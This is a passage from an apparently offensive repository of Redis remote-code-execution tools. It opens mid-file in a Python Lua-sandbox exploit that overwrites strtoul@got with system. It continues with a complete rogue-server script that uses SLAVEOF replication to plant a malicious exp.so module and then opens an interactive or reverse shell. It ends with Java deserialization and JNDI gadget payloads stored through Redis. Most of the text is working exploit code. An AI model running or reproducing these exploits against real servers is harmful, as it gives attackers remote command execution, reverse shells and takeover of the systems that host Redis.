if st_type != 2: 86 | continue 87 | 88 | func = self.ReadMemoryStr(strtab + st_name) 89 | print 'Func in symtab: ', func, 'type: ', st_type 90 | if func == name: 91 | (r_offset,) = self.ReadMemoryFmt(addr, 'Q') 92 | return r_offset 93 | return 0 94 | def Find_so_func(self, strtab, symtab, name): 95 | for i in range(1200, 2000): #调整搜索条目1000 到 2000之间 96 | addr = symtab + 0x18 * i 97 | (st_name, st_info, st_other, st_shndx) = self.ReadMemoryFmt(addr, 'IBBH') 98 | st_type = st_info & 0xf 99 | if st_type != 2: 100 | continue 101 | func = self.ReadMemoryStr(strtab + st_name) 102 | print 'Func in symtab@so: ', func, 'type: ', st_type 103 | if func == name: 104 | (st_value,) = self.ReadMemoryFmt(addr + 8, 'Q') 105 | return st_value 106 | return 0 107 | def printable(self, s): 108 | r = '' 109 | for c in s: 110 | r += '\\x%.2x' % (ord(c)) 111 | print '%s, size=%d' % (r, len(s)) 112 | def Find_libc(self, got_func): #查找libc基地址 113 | (addr,) = self.ReadMemoryFmt(got_func, 'Q') 114 | print 'function address is 0x%x' % (addr) 115 | addr = addr & 0xfffffffffffff000 116 | for i in range(0, 200): 117 | addr -= 0x1000 118 | head = self.ReadMemoryStr(addr) 119 | #self.printable(head) 120 | if head[1:4] == 'ELF': 121 | return addr 122 | return 0 #该操作一旦失败会引起访问违例，所以这里返回值没有意义 123 | def Save_got(self, addr, first): 124 | self.__GotTable.append(first) 125 | for i in range(1, 200): 126 | (ptr,) = self.ReadMemoryFmt(addr + 8 * i, 'Q') 127 | if ptr == 0: 128 | break 129 | self.__GotTable.append(ptr) 130 | return len(self.__GotTable) 131 | def Load_got(self, addr): 132 | sc = scripts.writetuple 133 | for i in range(0, len(self.__GotTable)): 134 | val = self.__GotTable[i] 135 | addrs = addr + 8 * i 136 | print 'Read item: 0x%x -> 0x%x' % (addrs, val) 137 | (lo, hi) = struct.unpack('II', struct.pack('Q', addrs)) 138 | (vlo, vhi) = struct.unpack('II', struct.pack('Q', val)) 139 | sc += "writemem(%d, %d, %d, %d)\n" % (lo, hi, vlo, vhi) 140 | sc += 'redis["memview"] = {1}\n' #Import !!! 141 | sc += 'collectgarbage("stop", 0)\n' 142 | print 'Write got memory' 143 | tmp = self.__conn.register_script(sc) 144 | tmp() 145 | return 0 146 | def main(): 147 | lua = luaexp(host = '192.168.91.137', port = 6379) 148 | 149 | DYNAMIC, DYNAMIC_SZ = lua.Find_DYNAMIC(0x400000) 150 | if DYNAMIC == 0: 151 | print 'Cant find address of _DYNAMIC!' 152 | return 153 | print 'Found address of _DYNAMIC: 0x%x size: 0x%x' % (DYNAMIC, DYNAMIC_SZ) 154 | (reltab, strtab, symtab) = lua.Find_tables(DYNAMIC, DYNAMIC_SZ) 155 | if reltab == 0 or strtab == 0 or symtab == 0: 156 | print 'Cant find address of STRTAB,SYMTAB or RELTAB' 157 | return 158 | print 'Found address RELTAB: 0x%x, STRTAB: 0x%x, SYMTAB: 0x%x' % (reltab, strtab, symtab) 159 | got_strtoul = lua.Find_func(reltab, strtab, symtab, 'strtoul') 160 | if got_strtoul == 0: 161 | print 'Cant find address of function strtoul' 162 | return 163 | print 'Found address of strtoul@got: 0x%x' % (got_strtoul) 164 | print 'try to fill strtoul@got' 165 | 166 | lua.FillGot() 167 | glibc = lua.Find_libc(got_strtoul) 168 | 169 | if glibc == 0: 170 | print 'cant find glibc base address' 171 | return 172 | print 'base address of gblic: 0x%x' % (glibc) 173 | DYNAMIC, DYNAMIC_SZ = lua.Find_DYNAMIC(glibc) 174 | print 'Offset of _DYNAMIC: 0x%x' % (DYNAMIC) 175 | if DYNAMIC & 0xffff00000000 == 0: 176 | DYNAMIC += glibc 177 | #非常重要！上面一行代码，我的主机上是偏移量，然而一个目标主机偏移值很大，后来发现直接是 178 | #一个内存地址，这个非常重要！！ 179 | if DYNAMIC == 0: 180 | print 'Cant find address of _DYNAMIC@glibc!' 181 | return 182 | print 'Found address of _DYNAMIC@glibc: 0x%x, size: 0x%x' % (DYNAMIC, DYNAMIC_SZ) 183 | (reltab, strtab, symtab) = lua.Find_tables(DYNAMIC, DYNAMIC_SZ) 184 | if reltab == 0 or strtab == 0 or symtab == 0: #这里只需要符号表和字符表 185 | print 'Cant find address of STRTAB,SYMTAB or RELTAB' 186 | return 187 | print 'Found address@glibc RELTAB: 0x%x, STRTAB: 0x%x, SYMTAB: 0x%x' % (reltab, strtab, symtab) 188 | system = lua.Find_so_func(strtab, symtab, 'system') 189 | if system == 0: 190 | print 'Cant found address of system' 191 | return 192 | if system & 0xffff00000000 == 0: 193 | system += glibc 194 | #非常重要！上面一行代码，我的主机上是偏移量，然而一个目标主机偏移值很大，后来发现直接是 195 | #一个内存地址，这个非常重要！！ 196 | print 'Found system@glibc: 0x%x' % (system) 197 | print 'store pointers at got' 198 | 199 | #got_strtoul = 0x6bd768 200 | #system = 0x7ffff73e1760 201 | if lua.Save_got(got_strtoul, system) < 2: 202 | print 'save util unsed got item faild' 203 | return 204 | 205 | print 'load stored got && write system to strtoul@got' 206 | lua.Load_got(got_strtoul) 207 | 208 | #存在的问题 209 | #在测试CentOS 7.5.1804时发生了崩溃，原因时填充完strtoul的got项目后由于后一个指针被马上调用了（来不及恢复） 210 | #而导致了如下可预料的错误 211 | #Program received signal SIGSEGV, Segmentation fault. 212 | #0x00007fff00000003 in ?? () 213 | #看来Exploit并不完美，寻求可以控制tt的写内存方法，才能完全在任何环境稳定下来 214 | print r''' 215 | Done, mybe you can connect to redis server 216 | execute comamnd eval "tonumber('ping -c 1 vps', 8)" 0 217 | ''' 218 | if __name__ == '__main__': 219 | main() 220 | 221 | -------------------------------------------------------------------------------- /src/main/java/cn/b1ue/redis/module/exp.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/redis-rce/100d35284c52a93fcbf2d8ad50d270cda3e1bece/src/main/java/cn/b1ue/redis/module/exp.so -------------------------------------------------------------------------------- /src/main/java/cn/b1ue/redis/module/redis-rogue-server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import socket 3 | import sys 4 | from time import sleep 5 | from optparse import OptionParser 6 | 7 | CLRF = "\r\n" 8 | SERVER_EXP_MOD_FILE = "exp.so" 9 | 10 | BANNER = """______ _ _ ______ _____ 11 | | ___ \ | (_) | ___ \ / ___| 12 | | |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __ 13 | | // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__| 14 | | |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ | 15 | \_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_| 16 | __/ | 17 | |___/ 18 | @copyright n0b0dy @ r3kapig 19 | """ 20 | 21 | def encode_cmd_arr(arr): 22 | cmd = "" 23 | cmd += "*" + str(len(arr)) 24 | for arg in arr: 25 | cmd += CLRF + "$" + str(len(arg)) 26 | cmd += CLRF + arg 27 | cmd += "\r\n" 28 | return cmd 29 | 30 | def encode_cmd(raw_cmd): 31 | return encode_cmd_arr(raw_cmd.split(" ")) 32 | 33 | def decode_cmd(cmd): 34 | if cmd.startswith("*"): 35 | raw_arr = cmd.strip().split("\r\n") 36 | return raw_arr[2::2] 37 | if cmd.startswith("$"): 38 | return cmd.split("\r\n", 2)[1] 39 | return cmd.strip().split(" ") 40 | 41 | def info(msg): 42 | print(f"\033[1;32;40m[info]\033[0m {msg}") 43 | 44 | def error(msg): 45 | print(f"\033[1;31;40m[err ]\033[0m {msg}") 46 | 47 | def din(sock, cnt=4096): 48 | global verbose 49 | msg = sock.recv(cnt) 50 | if verbose: 51 | if len(msg) < 1000: 52 | print(f"\033[1;34;40m[->]\033[0m {msg}") 53 | else: 54 | print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}") 55 | return msg.decode('gb18030') 56 | 57 | def dout(sock, msg): 58 | global verbose 59 | if type(msg) != bytes: 60 | msg = msg.encode() 61 | sock.send(msg) 62 | if verbose: 63 | if len(msg) < 1000: 64 | print(f"\033[1;33;40m[<-]\033[0m {msg}") 65 | else: 66 | print(f"\033[1;33;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}") 67 | 68 | def decode_shell_result(s): 69 | return "\n".join(s.split("\r\n")[1:-1]) 70 | 71 | class Remote: 72 | def __init__(self, rhost, rport): 73 | self._host = rhost 74 | self._port = rport 75 | self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 76 | self._sock.connect((self._host, self._port)) 77 | 78 | def send(self, msg): 79 | dout(self._sock, msg) 80 | 81 | def recv(self, cnt=65535): 82 | return din(self._sock, cnt) 83 | 84 | def do(self, cmd): 85 | self.send(encode_cmd(cmd)) 86 | buf = self.recv() 87 | return buf 88 | 89 | def shell_cmd(self, cmd): 90 | self.send(encode_cmd_arr(['system.exec', f"{cmd}"])) 91 | buf = self.recv() 92 | return buf 93 | 94 | class RogueServer: 95 | def __init__(self, lhost, lport): 96 | self._host = lhost 97 | self._port = lport 98 | self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 99 | self._sock.bind(('0.0.0.0', self._port)) 100 | self._sock.listen(10) 101 | 102 | def close(self): 103 | self._sock.close() 104 | 105 | def handle(self, data): 106 | cmd_arr = decode_cmd(data) 107 | resp = "" 108 | phase = 0 109 | if cmd_arr[0].startswith("PING"): 110 | resp = "+PONG" + CLRF 111 | phase = 1 112 | elif cmd_arr[0].startswith("REPLCONF"): 113 | resp = "+OK" + CLRF 114 | phase = 2 115 | elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"): 116 | resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF 117 | resp += "$" + str(len(payload)) + CLRF 118 | resp = resp.encode() 119 | resp += payload + CLRF.encode() 120 | phase = 3 121 | return resp, phase 122 | 123 | def exp(self): 124 | cli, addr = self._sock.accept() 125 | while True: 126 | data = din(cli, 1024) 127 | if len(data) == 0: 128 | break 129 | resp, phase = self.handle(data) 130 | dout(cli, resp) 131 | if phase == 3: 132 | break 133 | 134 | def interact(remote): 135 | info("Interact mode start, enter \"exit\" to quit.") 136 | try: 137 | while True: 138 | cmd = input("\033[1;32;40m[<<]\033[0m ").strip() 139 | if cmd == "exit": 140 | return 141 | r = remote.shell_cmd(cmd) 142 | for l in decode_shell_result(r).split("\n"): 143 | if l: 144 | print("\033[1;34;40m[>>]\033[0m " + l) 145 | except KeyboardInterrupt: 146 | pass 147 | 148 | def reverse(remote): 149 | info("Open reverse shell...") 150 | addr = input("Reverse server address: ") 151 | port = input("Reverse server port: ") 152 | dout(remote, encode_cmd(f"system.rev {addr} {port}")) 153 | info("Reverse shell payload sent.") 154 | info(f"Check at {addr}:{port}") 155 | 156 | def cleanup(remote): 157 | info("Unload module...") 158 | remote.do("MODULE UNLOAD system") 159 | 160 | def runserver(rhost, rport, lhost, lport): 161 | # expolit 162 | remote = Remote(rhost, rport) 163 | info("Setting master...") 164 | remote.do(f"SLAVEOF {lhost} {lport}") 165 | info("Setting dbfilename...") 166 | remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}") 167 | sleep(2) 168 | rogue = RogueServer(lhost, lport) 169 | rogue.exp() 170 | sleep(2) 171 | info("Loading module...") 172 | remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}") 173 | info("Temerory cleaning up...") 174 | remote.do("SLAVEOF NO ONE") 175 | remote.do("CONFIG SET dbfilename dump.rdb") 176 | remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}") 177 | rogue.close() 178 | 179 | # Operations here 180 | choice = input("What do u want, [i]nteractive shell or [r]everse shell: ") 181 | if choice.startswith("i"): 182 | interact(remote) 183 | elif choice.startswith("r"): 184 | reverse(remote) 185 | 186 | cleanup(remote) 187 | 188 | if __name__ == '__main__': 189 | print(BANNER) 190 | parser = OptionParser() 191 | parser.add_option("--rhost", dest="rh", type="string", 192 | help="target host", metavar="REMOTE_HOST") 193 | parser.add_option("--rport", dest="rp", type="int", 194 | help="target redis port, default 6379", default=6379, 195 | metavar="REMOTE_PORT") 196 | parser.add_option("--lhost", dest="lh", type="string", 197 | help="rogue server ip", metavar="LOCAL_HOST") 198 | parser.add_option("--lport", dest="lp", type="int", 199 | help="rogue server listen port, default 21000", default=21000, 200 | metavar="LOCAL_PORT") 201 | parser.add_option("--exp", dest="exp", type="string", 202 | help="Redis Module to load, default exp.so", default="exp.so", 203 | metavar="EXP_FILE") 204 | parser.add_option("-v", "--verbose", action="store_true", default=False, 205 | help="Show full data stream") 206 | 207 | (options, args) = parser.parse_args() 208 | global verbose, payload, exp_mod 209 | verbose = options.verbose 210 | exp_mod = options.exp 211 | payload = open(exp_mod, "rb").read() 212 | 213 | if not options.rh or not options.lh: 214 | parser.error("Invalid arguments") 215 | 216 | info(f"TARGET {options.rh}:{options.rp}") 217 | info(f"SERVER {options.lh}:{options.lp}") 218 | try: 219 | runserver(options.rh, options.rp, options.lh, options.lp) 220 | except Exception as e: 221 | error(repr(e)) 222 | -------------------------------------------------------------------------------- /src/main/java/cn/b1ue/redis/unserialize/JDK.java: -------------------------------------------------------------------------------- 1 | package cn.b1ue.redis.unserialize; 2 | 3 | import redis.clients.jedis.Jedis; 4 | 5 | import java.io.*; 6 | 7 | /** 8 | * @author 浅蓝 9 | * @email blue@ixsec.org 10 | * @since 2020/4/3 16:18 11 | */ 12 | public class JDK { 13 | 14 | public static void main(String[] args) throws IOException, ClassNotFoundException { 15 | 16 | FileInputStream fileInputStream = new FileInputStream("src/main/java/cn/b1ue/redis/unserialize/beanutils_calc.ser"); 17 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 18 | byte[] buffer = new byte[128]; 19 | int iLength = 0; 20 | while((iLength = fileInputStream.read(buffer)) != -1) { 21 | baos.write(buffer, 0, iLength); 22 | } 23 | 24 | byte[] bytes = baos.toByteArray(); 25 | 26 | ////////////////////////////////////// 27 | 28 | Jedis jedis = new Jedis("192.168.91.147", 6379); 29 | jedis.set("x".getBytes(),bytes); 30 | 31 | byte[] badbyte = jedis.get("x".getBytes()); 32 | 33 | ByteArrayInputStream stream = new ByteArrayInputStream(badbyte); 34 | ObjectInputStream objectInputStream = new ObjectInputStream(stream); 35 | Object o = objectInputStream.readObject(); 36 | 37 | jedis.close(); 38 | 39 | } 40 | 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/cn/b1ue/redis/unserialize/Jackson.java: -------------------------------------------------------------------------------- 1 | package cn.b1ue.redis.unserialize; 2 | 3 | import redis.clients.jedis.Jedis; 4 | 5 | import java.io.IOException; 6 | import java.net.URL; 7 | 8 | /** 9 | * @author 浅蓝 10 | * @email blue@ixsec.org 11 | * @since 2020/4/3 15:33 12 | */ 13 | public class Jackson { 14 | 15 | public static void main(String[] args) throws IOException { 16 | 17 | Jedis jedis = new Jedis("127.0.0.1", 6379); 18 | jedis.set("blue","[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"ldap://127.0.0.1:1099/Exploit\"}]"); 19 | jedis.close(); 20 | new URL("http://127.0.0.1:8080/home?username=blue").openConnection().connect(); 21 | 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /src/main/java/cn/b1ue/redis/unserialize/beanutils_calc.ser: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/redis-rce/100d35284c52a93fcbf2d8ad50d270cda3e1bece/src/main/java/cn/b1ue/redis/unserialize/beanutils_calc.ser --------------------------------------------------------------------------------